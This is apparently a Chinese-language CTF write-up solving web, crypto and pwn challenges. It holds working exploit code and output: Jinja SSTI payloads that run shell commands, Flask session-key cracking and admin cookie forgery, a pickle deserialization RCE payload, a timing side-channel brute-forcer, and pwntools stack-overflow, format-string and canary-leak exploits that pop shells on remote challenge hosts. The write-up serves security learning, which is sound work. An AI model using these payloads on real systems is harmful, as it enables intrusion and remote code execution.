不懂的就问,但我也是二把手......哭死
web
GJS-ezssti
很常规的ssti模板注入,只过滤了"/","flag"。
过滤了/,flag
可以利用bash的特性绕过,如字符串截取,环境变量等等。
payload1:
{{url_for.__globals__['__builtins__'].eval("__import__('os').popen('cd ..;cat f*').read()")}}
payload2:
{{lspnum.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cd ..;cat f*').read()")}}
payload3:
{{x.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cd ..;cat f*').read()")}}
#其中x可以为任意值
payload4:
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cd ..;cat f*').read()")}}
还有很多getshell的手法,大家可以去研究。
GJS-php_itr
本题主要考察的是php的原生类。
首先利用Directorylterator、FilesystemIterator等来得到文件目录结构。
再利用SplFileObject类就可以读取flag。
这里就直接cat flag了,然后在源码里及即看到flag。
?cla=SplFileObject&parm=/flag.php
GJS-sess_pickle
源码:
import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
currentDateAndTime = datetime.now()
currentTime = currentDateAndTime.strftime("%H%M%S")
app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
@app.route('/')
def index():
session['username'] = 'user-pickle'
return send_file('app.py')
@app.route('/flag', methods=['GET', 'POST'])
def flag():
if not session:
return 'There is no session available in your client :('
if request.method == 'GET':
return 'You are {} now'.format(session['username'])
if session['username'] == 'admin':
pickle_data=base64.b64decode(request.form.get('pickle_data'))
# maybe ...RCE
userdata=pickle.loads(pickle_data)
return userdata
else:
return 'Access Denied'
if __name__=='__main__':
app.run(host="0.0.0.0", port=8080)
通过阅读源码其实可以知道 SECRET_KEY的长度为6位。
currentDateAndTime = datetime.now()
currentTime = currentDateAndTime.strftime("%H%M%S")
然后可以利用flask_unsign库进行暴力破解。
import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
path = "wordlist.txt"
#生成爆破字典
with open(path,"w") as f:
[f.write("".join(x)+"\n") for x in itertools.product('0123456789', repeat=6)]#生成条件
#需要爆破的session
cookie_tamper = "eyJ1c2VybmFtZSI6InVzZXItcGlja2xlIn0.ZxeQyg.TIb3nCNhe5r2qeuCW4m36YSrcaA"
obj = flask_unsign.Cracker(value=cookie_tamper)
with wordlist(path, parse_lines=False) as iterator:
obj.crack(iterator)
secret = ""
if obj.secret:
secret = obj.secret.decode()
print(f"{secret}")
得到 SECRET_KEY=095954。
最后构造cookie为admin的凭证。{'username':'admin'} 。用我们老演员--flask_session_manager.py得到admin的token。
root@iZf8z3zcbp57dpbdy2dbh7Z:~/tools# python3 flask_session_manager.py encode -t "{'username': 'admin'}" -s 095954
eyJ1c2VybmFtZSI6ImFkbWluIn0.ZxejBw.YP4_Qe_5ZBR8eMAeIHixCfzaU0s
最后就是一个python的反序列化。
pickle_data=base64.b64decode(request.form.get('pickle_data'))
# maybe ...RCE
userdata=pickle.loads(pickle_data)
构造payload-rce。
from pickle import *
import base64
class A():
def __reduce__(self):
return (eval,("__import__('os').popen('cat /flag').read()",))
a=dumps(A())
print(base64.b64encode(a))
print(loads(a))
# b'gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9mbGFnJykucmVhZCgplIWUUpQu'
最后发送这个payload。
GJS-非常 timing 的逐字符串匹配
本题主要考的是基于逐字符判断的侧信道攻击。
测信道攻击的漏洞的主要原因是:
1、密码是逐个字符判断的。
2、输入正确字符和错误字符造成的判断时间相差较大,由于此两点原因,我们可以根据漏洞程序的执行时间逐步判断密码的每一位字符是否正确,从而最终猜解出密码。
所以我们可以对每一位数字提交后的反馈时间。比如第一位可以设置为[0-9]中的任意一个,然后对比时间,时间差异最大的就是正确位数
算法文盲,将就看:
import requests
import time
url = 'http://154.9.243.120:5479/?student=20220158111&password='
pass_dic = '0123456789'
password = list('000000000')
minimumTime = 0
session = requests.Session()
for i in range(9):
tmp_pass = ''
for j in range(len(pass_dic)):
total_time = 0
for _ in range(3):
passwd = password
start_time = time.time()
passwd[i] = pass_dic[j]
response = session.get(url=url+(''.join(passwd)))
response_time = time.time() - start_time
total_time += response_time
# 计算平均时间,冗余,误差
average_time = total_time/3
if average_time > minimumTime:
minimumTime = average_time
tmp_pass = pass_dic[j]
time.sleep(0.3)
password[i] = tmp_pass
print(password)
print(session.get(url=url+(''.join(password))).text)
算法太菜了。
crypto
GJS-pwn-xor
题目考察的是对pwntools的使用(密码手也需要会pwntools) 。
from pwn import xor
from Crypto.Util.number import bytes_to_long
key = ??
flag = 'eRr0r{xxxxx}'
c = bytes_to_long(xor(flag, key))
print("c={}".format(c))
# c=1989358635555601586944294666564439690559417088273929305967202923478426264295213557413803015356391360278
看源码得知key的长度为2位,所以只需要对key进行一个爆破即可。
from pwn import xor
from Crypto.Util.number import *
key_list = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
c=1989358635555601586944294666564439690559417088273929305967202923478426264295213557413803015356391360278
lens = len(key_list)
for i in range(lens):
for j in range(lens):
key = key_list[i]+key_list[j]
m = xor(long_to_bytes(c),key.encode())
if b'eRr0r' in m:
print(m)
break
xingu@XPATH:~$ /bin/python3 /home/xingu/cc.py
b'eRr0r{57c6bf19-40d1-4ae5-aa2f-c102afbefb3c}'
GJS-RSA不需要开方
from Crypto.Util.number import *
from gmpy2 import *
flag = b'eRr0r{xxxxxxx}'
e = 65537
p = getPrime(512)
q = getPrime(512)
n = p * p * q
r = p * p * p
c = powmod(bytes_to_long(flag), e, n)
print(f'n={n}')
print(f'r={r}')
print(f'c={c}')
"""
n=956644758662325334275935677193545846966964224730768047800799484199254874848755570176621105964216685450400592519779736299071620670198679767076909951861275366349274913564855611804713576455973452798738480576393513782959858991023279368811318477928590312287345976269507693182717835090889323737161445009094230471966576067059180367710675776431780850981672590718621642406649772873983155144565115561215357644060989674313666664128285428710418608626157654320096959468332789
r=1345078375760026706835636528104232935324792813299481702959191413869678433585611612489489233850135754004008454255442067094416057070653581682216472162832576102395929522964758137562331369937309520932341038194588061234349285835173264924581628476525732548802996777119376402597432941823910805400422997388890125959165744110693548332102850004546567333233033056330747571604112513118676120054887873919132942248368949405204018082281972171926154390788995387954327057809116473
c=936310107479804816008419620783331591731669973551600412630438496096506936555654150347316504628936567917322628361192826332723621557085687187656374265595928800179023434816282465737570583664049306302433304764932094555068571960389925568234337849324139382026123756712781801729784082813537306655834855225574012571190343998486944126889100533730013294773898567894735241014148086447852399651017513015256218096669695768149692738056964549129474502511719667414306379946087801
"""
本题求出pq有两种方法:
第一种,直接对r开3次方即可
p = iroot(r,3)[0]
q = n // p**2
第二种,利用公约数:
# n = p * p * q
# r = p * p * p
n和r公约数位p**2
pp = gcd(n,r)
p = r//pp
q = n //pp
payload:
from Crypto.Util.number import *
from gmpy2 import *
e = 65537
# n = p * p * q
# r = p * p * p
n=956644758662325334275935677193545846966964224730768047800799484199254874848755570176621105964216685450400592519779736299071620670198679767076909951861275366349274913564855611804713576455973452798738480576393513782959858991023279368811318477928590312287345976269507693182717835090889323737161445009094230471966576067059180367710675776431780850981672590718621642406649772873983155144565115561215357644060989674313666664128285428710418608626157654320096959468332789
r=1345078375760026706835636528104232935324792813299481702959191413869678433585611612489489233850135754004008454255442067094416057070653581682216472162832576102395929522964758137562331369937309520932341038194588061234349285835173264924581628476525732548802996777119376402597432941823910805400422997388890125959165744110693548332102850004546567333233033056330747571604112513118676120054887873919132942248368949405204018082281972171926154390788995387954327057809116473
c=936310107479804816008419620783331591731669973551600412630438496096506936555654150347316504628936567917322628361192826332723621557085687187656374265595928800179023434816282465737570583664049306302433304764932094555068571960389925568234337849324139382026123756712781801729784082813537306655834855225574012571190343998486944126889100533730013294773898567894735241014148086447852399651017513015256218096669695768149692738056964549129474502511719667414306379946087801
pp = gcd(n,r)
p = r//pp
q = n //pp
phi = p*(p-1)*(q-1)
d = invert(e,phi)
m = powmod(c,d,n)
print(long_to_bytes(m))
xingu@XPATH:~$ /bin/python3 /home/xingu/cc.py
b'eRr0r{8405b28f-0361-4ff2-a7be-207976959e57}'
GJS-公约数
from Crypto.Util.number import *
from gmpy2 import *
flag = b'eRr0r{xxxxx}'
m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
e = 65537
n = p * q
crk = 20241023
hint = powmod(crk + 2024 * p, e, n)
c = powmod(m, e, n)
print(f'c={c}')
print(f'hint={hint}')
print(f'n={n}')
"""
c=9260515433610120280008788616369917527440918016583970463267413888038620231632315755053130819135680219725193705143276989448464568923287780884567477444752281787219008197778235694808310015451436273173120342244508480300309327125740550720761803016805090772084892303426324401458208853572349436651241114325126813178387774773225671310675661384364583719937986137431924661751667799721403091088819130712074446392667925270602713820578698380555087508570396354596507820301695407501589171316466749765566640671175261738214786931233515226676383610095252777602357358715830442730793413854030130159429831836139461346783752981050813732069
hint=8094412685291396028609075626918140121506947522568951876054923981766018665809307245676906962476129535524261290288676682415754365494729100653964464043778107187780094987346960936524957684351202664556083007516342647270843318799374573265572433597813542467233774440761157666163653083434901710684602668110754606779618547097469723494051944423735743020796614230912654483076371143884272140665083106681250761777421849174392250115711493211614041421966160007494118001886509021791801603279425718319848286079047627747060392153242687995879244305361283318239633489351437938349967104089252073286122852948926120077346704517839491242600
n=23943887157244144155119304091490887271618409550249370466947408451630786373270023317955770997094495960178972234787734527489930932382886951681503407337732409056867814217798179098470500423183149599235298318961753544247139126393603818930198570518572541969106263681690246969943380184085615036939160841952487430183744682360269049755724699223823113423345833853721055104064208499773196686029550287842335392225460471498725028570388425785174864702422657076986041883407370525124516499400063195102043767284110595801090960970448531501256554964589108962129695186026989010988971553669949886294626941810027891021837474837841341804809
"""
给了一个hint = powmod(crk + 2024 * p, e, n) 。
hint = powmod(crk + 2024 * p, e, n)
所以有hint=(crk+2024*p)^e %n
展开,根据二项式定理有:
hint=(crk^e + k1*crk^(e-1)*2024*p+k2*crk^(e-2)*2024*p^2+....+(2024*p)^e) %n
将k1*crk^(e-1)*2024*p+k2*crk^(e-2)*2024*p^2+....全部可以换为k*p
既hint=(crk^e + k*p + (2024*p)^e) %n
还可以换一下:(k*p + (2024*p)^e) = kp
hint=(crk^e+kp) %n ==> hint=crk^e + k1*p + k2*p*q
然后两把同时%p,既:
hint%p=crk^e%p
hint+k1p=crk^e+k2p ==> crk^e - hint = kp
这时我们可以用求公约数的方法求出p:
p = gcd(crk^e - hint,n)
q = n//p
payload:
from Crypto.Util.number import *
from gmpy2 import *
e = 65537
c=9260515433610120280008788616369917527440918016583970463267413888038620231632315755053130819135680219725193705143276989448464568923287780884567477444752281787219008197778235694808310015451436273173120342244508480300309327125740550720761803016805090772084892303426324401458208853572349436651241114325126813178387774773225671310675661384364583719937986137431924661751667799721403091088819130712074446392667925270602713820578698380555087508570396354596507820301695407501589171316466749765566640671175261738214786931233515226676383610095252777602357358715830442730793413854030130159429831836139461346783752981050813732069
hint=8094412685291396028609075626918140121506947522568951876054923981766018665809307245676906962476129535524261290288676682415754365494729100653964464043778107187780094987346960936524957684351202664556083007516342647270843318799374573265572433597813542467233774440761157666163653083434901710684602668110754606779618547097469723494051944423735743020796614230912654483076371143884272140665083106681250761777421849174392250115711493211614041421966160007494118001886509021791801603279425718319848286079047627747060392153242687995879244305361283318239633489351437938349967104089252073286122852948926120077346704517839491242600
n=23943887157244144155119304091490887271618409550249370466947408451630786373270023317955770997094495960178972234787734527489930932382886951681503407337732409056867814217798179098470500423183149599235298318961753544247139126393603818930198570518572541969106263681690246969943380184085615036939160841952487430183744682360269049755724699223823113423345833853721055104064208499773196686029550287842335392225460471498725028570388425785174864702422657076986041883407370525124516499400063195102043767284110595801090960970448531501256554964589108962129695186026989010988971553669949886294626941810027891021837474837841341804809
crk = 20241023
# hint = powmod(crk + 2024 * p, e, n)
p = gcd(crk**e-hint,n)
print(isPrime(p))
q = n//p
phi = (p-1)*(q-1)
d = invert(e,phi)
m = powmod(c,d,n)
print(long_to_bytes(m))
pwn
GJS-bash
这题没有什么好说的。
GJS-ret2text
简单的栈溢出。
先连接题目环境,可以看到只能输入。
将文件下载,检测保护再拖入ida中查看。 (啥保护也没)
可以看到在main中buf到rbp(返回)的距离只有0x20字节,但是read却读了0x50字节,存在溢出。并且发现了door函数,里面执行/bin/sh,返回一个shell。
from pwn import *
# 连接到远程主机
io = remote("121.43.101.206", "40011")
# 定义 /bin/sh 字符串的地址
bin_sh = 0x04011FF
# 构造 payload
payload = b'a' * 0x20 + b'b' * 0x8 + p64(bin_sh)
# 发送 payload
io.send(payload)
# 进入交互模式
io.interactive()
xingu@XPATH:~/python$ /bin/python3 /home/xingu/python/pwn1.py
[+] Opening connection to 121.43.101.206 on port 40011: Done
[*] Switching to interactive mode
__ __ _ ____ ___
\ \ / /__| | ___ ___ _ __ ___ ___ ___| _ \ _ __ / _ \ _ __
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \ / _ \ |_) | '__| | | | '__|
\ V V / __/ | (_| (_) | | | | | | __/ | __/ _ <| | | |_| | |
\_/\_/ \___|_|\___\___/|_| |_| |_|\___| \___|_| \_\_| \___/|_|
$ ls
bin
dev
flag
lib
lib32
lib64
libexec
libx32
pwn
$ cat flag
eRr0r{a570db4f-42ff-45bb-88c7-de3f95746d3d}
$
GJS-format
本题考察格式化字符漏洞任意地址写。
什么是格式化字符串漏洞,简单来说就是我们输入%p、%c等字样就会打印出相应的值。
printf(code)
输入%p打印出地址。有一个fmtstr_payload是pwntools里的对格式化字符串漏洞利用的函数。
fmtstr_payload(offset,{base:value})
用ida打开附件。
有一个判断:
if ( target )
readflag();
如果target存在就会进入readflag()函数,就会打印出flag。
有了目标,现在就是找offset和target的地址。
target的地址很好找,在bss段。
现在就是找偏移量:
fmtstr_payload!
aaaabbbb %p %p %p %p %p %p %p %p %p %p %p %p
aaaabbbb 0x7ffec980b3e0 0x100 0x7f6c9c5c17e2 0xf 0x7f6c9c6de040 0x6262626261616161 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0xa70252070 (nil)
当我们输入多个%p,并在前面写一个aaaabbbb(因为是64位程序),在第6的一个%p发现了 0x6262626261616161,其实就是aaaabbbb的16进制值,所以这里的偏移量就是6。
from pwn import *
context.arch='amd64'
io = remote("121.43.101.206", "40012")
target= 0x4040AC
offset = 6
payload = fmtstr_payload(offset,{target:1})
io.send(payload)
io.interactive()
xingu@XPATH:~/python$ /bin/python3 /home/xingu/python/pwn1.py
[+] Opening connection to 121.43.101.206 on port 40012: Done
[*] Switching to interactive mode
__ __ _ ____ ___
\ \ / /__| | ___ ___ _ __ ___ ___ ___| _ \ _ __ / _ \ _ __
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \ / _ \ |_) | '__| | | | '__|
\ V V / __/ | (_| (_) | | | | | | __/ | __/ _ <| | | |_| | |
\_/\_/ \___|_|\___\___/|_| |_| |_|\___| \___|_| \_\_| \___/|_|
fmtstr_payload!
ca\xac@@eRr0r{5e88fa92-0208-4ac6-97b5-e87c4b9f1317}
[*] Got EOF while reading in interactive
$
拿到flag。
GJS-不可能让你溢出的
(终于还差最后wp,要死了)
下载文件,用checksec检测一下,发现开了canary保护(防止溢出的)。
程序给了两次输入输出的机会,那么我们就可以利用第一次输入输出将canary带出。
from pwn import *
context.arch='amd64'
io=remote("121.43.101.206","40013")
back=0x040121F # /bin/sh的地址
io.recv()
payload=b'a'*(0x70-8+1) # 往canary的地址多写一个a
io.send(payload)
io.recvuntil(b'a'*0x68)
canary=u64(io.recv(8))-0x61 # 接受canary
print(hex(canary))
payload=b'a'*0x68+p64(canary)+b'a'*8+p64(back) #将canary写回去绕过保护
io.sendline(payload)
io.interactive()
xingu@XPATH:~/python$ /bin/python3 /home/xingu/python/pwn1.py
[+] Opening connection to 121.43.101.206 on port 40013: Done
0x5dbeeb7943531f00
[*] Switching to interactive mode
\x01
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
$ ls
bin
dev
flag
lib
lib32
lib64
libexec
libx32
pwn
pwn.c
$ cat flag
eRr0r{03578d51-c057-478a-8bc6-3c42f8318bce}
$
(终于写完了,要死!!!)